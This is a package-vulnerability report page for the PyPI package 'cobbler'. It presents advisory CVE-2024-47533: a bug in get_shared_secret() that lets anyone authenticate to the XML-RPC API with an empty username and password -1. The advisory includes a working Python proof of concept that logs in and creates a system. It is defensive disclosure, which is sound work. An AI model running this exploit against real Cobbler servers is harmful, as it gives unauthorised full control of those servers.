pypi package report

Is cobbler safe?

18 known vulnerabilities, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      No published models are known to use this package.


      cvss
      9.8
      critical

      CVSS v3.1 base score out of 10

      epss
      4.0%
      medium

      chance of exploitation in 30 days, 91st percentile of all CVEs

      xyz score
      4.0
      medium

      CyberXYZ composite out of 10

      fig. 01 — GHSA-m26c-fcgh-cp6h, the advisory selected below

      // 18 advisories

      GHSA-m26c-fcgh-cp6h

      CRITICALGitHub ratingCVE-2024-47533
      // summary

      utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

      // details

      utils.py get_shared_secret:

      def get_shared_secret() -> Union[str, int]:
          """
          The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
          between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
          For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
      
          :return: The Cobbler secret which enables full access to Cobbler.
          """
      
          try:
              with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
                  data = fd.read()
          except:
              return -1
          return str(data).strip()

      Always returns -1 because of the following exception:

      binary mode doesn't take an encoding argument

      This appears to have been introduced by commit 32c5cada013d and so affects versions 3.0.0+.

      // poc
      #!/usr/bin/python3
      
      import ssl
      import xmlrpc.client
      
      params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
      ssl_context = ssl._create_unverified_context()
      
      url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
      if ssl_context:
          conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
      else:
          conn = xmlrpc.client.Server(url)
      
      try:
          token = conn.login(params['username'], params['password'])
      except xmlrpc.client.Fault as e:
          print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
      except Exception as e:
          print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
      
      print("Login success!")
      
      system_id = conn.new_system(token)
      // impact

      This gives anyone with network access to a cobbler server full control of the server.

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      None
      User interaction
      None
      Scope
      Unchanged
      Confidentiality
      High
      Integrity
      High
      Availability
      High

      Checked 2026-11-07 at 14:09 UTC. The most recent advisory here was published 2024-11-18. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.